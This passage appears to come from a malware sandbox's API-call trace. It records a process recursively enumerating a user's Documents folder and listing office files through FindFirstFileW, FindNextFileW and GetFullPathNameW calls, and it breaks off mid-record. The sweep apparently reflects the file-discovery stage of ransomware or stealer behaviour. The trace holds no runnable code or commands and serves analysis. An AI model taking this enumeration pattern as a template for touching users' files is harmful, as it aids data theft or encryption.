ftLastAccessTime.dwHighDateTime=0x1d5b5dd, ftLastWriteTime.dwLowDateTime=0x25a7a000, ftLastWriteTime.dwHighDateTime=0x1d5b5dd, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="UaVNws2umfTpEK.xlsx", cAlternateFileName="UAVNWS~1.XLS")) returned 1 [0080.325] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd666f760, ftCreationTime.dwHighDateTime=0x1d56222, ftLastAccessTime.dwLowDateTime=0xfd89b320, ftLastAccessTime.dwHighDateTime=0x1d572d8, ftLastWriteTime.dwLowDateTime=0xfd89b320, ftLastWriteTime.dwHighDateTime=0x1d572d8, nFileSizeHigh=0x0, nFileSizeLow=0x125c, dwReserved0=0x0, dwReserved1=0x0, cFileName="uptd3.pptx", cAlternateFileName="UPTD3~1.PPT")) returned 1 [0080.326] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe34ab0, ftCreationTime.dwHighDateTime=0x1d5b8cd, ftLastAccessTime.dwLowDateTime=0xa224d250, ftLastAccessTime.dwHighDateTime=0x1d592ac, ftLastWriteTime.dwLowDateTime=0xa224d250, ftLastWriteTime.dwHighDateTime=0x1d592ac, nFileSizeHigh=0x0, nFileSizeLow=0x72ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="x1 rxYPKg8eQLZux.docx", cAlternateFileName="X1RXYP~1.DOC")) returned 1 [0080.326] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72e70480, ftCreationTime.dwHighDateTime=0x1d5dbaf, ftLastAccessTime.dwLowDateTime=0xe9a60fa0, ftLastAccessTime.dwHighDateTime=0x1d5dcc5, ftLastWriteTime.dwLowDateTime=0xe9a60fa0, ftLastWriteTime.dwHighDateTime=0x1d5dcc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xG3o4vXcW", cAlternateFileName="XG3O4V~1")) returned 1 [0080.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW", lpFilePart=0x0) returned 0x31 [0080.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\", lpFilePart=0x0) returned 0x32 [0080.328] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72e70480, ftCreationTime.dwHighDateTime=0x1d5dbaf, ftLastAccessTime.dwLowDateTime=0xe9a60fa0, ftLastAccessTime.dwHighDateTime=0x1d5dcc5, ftLastWriteTime.dwLowDateTime=0xe9a60fa0, ftLastWriteTime.dwHighDateTime=0x1d5dcc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.328] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72e70480, ftCreationTime.dwHighDateTime=0x1d5dbaf, ftLastAccessTime.dwLowDateTime=0xe9a60fa0, ftLastAccessTime.dwHighDateTime=0x1d5dcc5, ftLastWriteTime.dwLowDateTime=0xe9a60fa0, ftLastWriteTime.dwHighDateTime=0x1d5dcc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.328] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b346f0, ftCreationTime.dwHighDateTime=0x1d5e39a, ftLastAccessTime.dwLowDateTime=0x8c28fd80, ftLastAccessTime.dwHighDateTime=0x1d5e7ae, ftLastWriteTime.dwLowDateTime=0x8c28fd80, ftLastWriteTime.dwHighDateTime=0x1d5e7ae, nFileSizeHigh=0x0, nFileSizeLow=0x45af, dwReserved0=0x0, dwReserved1=0x0, cFileName="dLdj_uoXZArqedZ5emB.ods", cAlternateFileName="DLDJ_U~1.ODS")) returned 1 [0080.329] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cef8050, ftCreationTime.dwHighDateTime=0x1d5e1cb, ftLastAccessTime.dwLowDateTime=0x67af5090, ftLastAccessTime.dwHighDateTime=0x1d5df2e, ftLastWriteTime.dwLowDateTime=0x67af5090, ftLastWriteTime.dwHighDateTime=0x1d5df2e, nFileSizeHigh=0x0, nFileSizeLow=0x106b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="m5K 71hrLjjpRsf Fm2E.pptx", cAlternateFileName="M5K71H~1.PPT")) returned 1 [0080.329] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c8db800, ftCreationTime.dwHighDateTime=0x1d5d80b, ftLastAccessTime.dwLowDateTime=0xb231ae30, ftLastAccessTime.dwHighDateTime=0x1d5e2a1, ftLastWriteTime.dwLowDateTime=0xb231ae30, ftLastWriteTime.dwHighDateTime=0x1d5e2a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ObfKAMb7", cAlternateFileName="")) returned 1 [0080.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.331] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8a0) returned 1 [0080.331] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7", lpFilePart=0x0) returned 0x3a [0080.331] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\", lpFilePart=0x0) returned 0x3b [0080.331] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\*", lpFindFileData=0x1ca2e540 | out: lpFindFileData=0x1ca2e540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c8db800, ftCreationTime.dwHighDateTime=0x1d5d80b, ftLastAccessTime.dwLowDateTime=0xb231ae30, ftLastAccessTime.dwHighDateTime=0x1d5e2a1, ftLastWriteTime.dwLowDateTime=0xb231ae30, ftLastWriteTime.dwHighDateTime=0x1d5e2a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a830 [0080.331] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c8db800, ftCreationTime.dwHighDateTime=0x1d5d80b, ftLastAccessTime.dwLowDateTime=0xb231ae30, ftLastAccessTime.dwHighDateTime=0x1d5e2a1, ftLastWriteTime.dwLowDateTime=0xb231ae30, ftLastWriteTime.dwHighDateTime=0x1d5e2a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.332] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ce8ce0, ftCreationTime.dwHighDateTime=0x1d5e800, ftLastAccessTime.dwLowDateTime=0xbfc79410, ftLastAccessTime.dwHighDateTime=0x1d5d7e8, ftLastWriteTime.dwLowDateTime=0xbfc79410, ftLastWriteTime.dwHighDateTime=0x1d5d7e8, nFileSizeHigh=0x0, nFileSizeLow=0x1121, dwReserved0=0x0, dwReserved1=0x0, cFileName="8TPv.rtf", cAlternateFileName="")) returned 1 [0080.332] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b69de20, ftCreationTime.dwHighDateTime=0x1d5d891, ftLastAccessTime.dwLowDateTime=0x4d13b6d0, ftLastAccessTime.dwHighDateTime=0x1d5d818, ftLastWriteTime.dwLowDateTime=0x4d13b6d0, ftLastWriteTime.dwHighDateTime=0x1d5d818, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9YzooCNUDxA9o", cAlternateFileName="9YZOOC~1")) returned 1 [0080.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.332] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 